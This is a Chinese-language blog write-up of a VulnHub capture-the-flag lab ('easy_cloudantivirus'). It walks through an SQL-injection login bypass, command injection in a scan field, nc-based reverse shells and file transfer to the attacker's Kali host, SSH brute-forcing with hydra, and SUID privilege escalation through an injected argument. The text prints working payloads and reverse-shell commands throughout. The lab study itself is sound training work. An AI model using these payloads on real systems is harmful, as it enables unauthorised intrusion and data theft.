vulnhub渗透测试靶场练习2

靶场介绍

靶场名:easy_cloudantivirus
靶场地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453

环境搭建

依旧使用VM VirtualBox搭建靶场,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机网络连接设置,参考链接如下:
https://blog.csdn.net/xujj10086/article/details/123836792

靶场练习

扫ip,扫端口

arp-scan -l

vulnhub渗透测试靶场练习2_第1张图片

nmap -sS 192.168.0.4

vulnhub渗透测试靶场练习2_第2张图片

利用sql注入万能密码登录

访问8080端口服务
vulnhub渗透测试靶场练习2_第3张图片
vulnhub渗透测试靶场练习2_第4张图片
网站是一个病毒扫描器,需要输入邀请码。
第一思路是使用万能密码尝试能否进入,于是使用burp进行抓包爆破,爆破出了可以登录进去的万能密码:
vulnhub渗透测试靶场练习2_第5张图片
vulnhub渗透测试靶场练习2_第6张图片
万能密码为:

  "or"a"="a

万能密码的原理是利用sql注入,这里是使用双引号对sql语句进行了闭合,才能进入系统。输入万能密码后进入页面
vulnhub渗透测试靶场练习2_第7张图片
vulnhub渗透测试靶场练习2_第8张图片

利用命令执行漏洞反弹shell

提示说尝试使用扫描器扫描其中的文件,那么我们输入hello试试:
vulnhub渗透测试靶场练习2_第9张图片
返回了扫描的结果,这里我们判断我们输入hello后应该是后台会拼接上命令,我们可以尝试拼接命令看是否会被执行,通常会使用管道符|
输入

hello|id

成功返回了id的执行结果,说明此处存在命令执行漏洞
vulnhub渗透测试靶场练习2_第10张图片

kali开启监听,使用nc进行反弹shell

hello|nc -nv 192.168.0.3 2333 -e /bin/bash

发现没有反弹成功,查看wp发现是因为靶场环境中的nc没有-e参数
输入

hello|nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
这里kali需要同时开启2233和4444端口
我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中

如图所示,我们在2233处输入ls,命令执行的结果会在4444处返回
vulnhub渗透测试靶场练习2_第11张图片

下载sql文件并进行读取

这里发现一个后缀名是sql的文件
通过nc命令将这个文件下载到kali里:
先在kali里开启监听:

nc -lvvp 5555 > db.sql
然后在可以执行的命令框中执行以下命令:
nc -nv 192.168.0.5 5555 如图所示,就已经收到这个文件了:
vulnhub渗透测试靶场练习2_第12张图片

使用sqlite3尝试读取文件内容,读到了几个密码
vulnhub渗透测试靶场练习2_第13张图片

使用hydra尝试爆破ssh

由于靶机开启了22端口,我们尝试找到有bash环境的用户进行密码爆破
通过读取 /etc/passwd文件,我们找到了三个有bash环境的用户
vulnhub渗透测试靶场练习2_第14张图片
使用在第一次靶场中使用过的hydra进行爆破,需要制作用户名和密码的字典,结果如下:
vulnhub渗透测试靶场练习2_第15张图片
没有跑出来可以登录的账号密码,说明这条路走不通了,需要再看下别的地方。

继续进行信息收集

继续进行信息收集:
我们在上一级目录中发现了update_cloudav和update_cloudav.c文件
vulnhub渗透测试靶场练习2_第16张图片
查看详细的文件属性,发现update_cloudav文件属于root,也就是说这个文件有suid权限,所属组是scanner,使用whoami看到我们当前的用户也是scanner,也就是说我们有这个文件的执行权限
vulnhub渗透测试靶场练习2_第17张图片

suid提权

这里我们可以想到update_cloudav.c就是这个可执行文文件的C语言源码,我们读取一下源文件:
vulnhub渗透测试靶场练习2_第18张图片
可以看到内容就是执行病毒库的更新程序并且要求我们在执行文件的时候带一个参数(倒数第六行),带的参数也会放到system函数中执行,那我们就尝试让我们的参数是反弹shell的命令即可:
先在kali开启两个端口的监听,然后在执行命令的窗口执行下面的命令,要注意执行命令的路径要在update_cloudav文件所在的目录下

./update_cloudav “a |nc 192.168.0.5 6666|/bin/bash|nc 192.168.0.5 7777”

vulnhub渗透测试靶场练习2_第19张图片
成功获得root权限!

后记

1.当nc命令带上-e参数无法执行时,可以先尝试一下不带参数的nc命令能否执行,可以执行的话就证明确实是靶机中的nc没有-e参数,就可以采用下面这种方法进行反弹shell

nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444

我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中。(当然这里针对nc没有-e参数还可以使用命名管道符进行反弹shell)

2.获取到shell后,要进行详细的信息收集,根据能收集到的所有信息,判断哪些文件可以帮助我们进行提权。像这个靶场中的update_cloudav文件,当然也需要有代码审计能力,这方面我还比较弱,是直接照着wp来的。

最后附上大佬的文章:
https://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489706&idx=1&sn=91f7428304d36f0aea38750b1fbdb587&chksm=cfd86755f8afee43a58eb21f5c00a489841874a7970a3a88764352e19bd8f39fb1eb86687ba2&scene=178&cur_album_id=2923844073592012805#rd

你可能感兴趣的:(安全)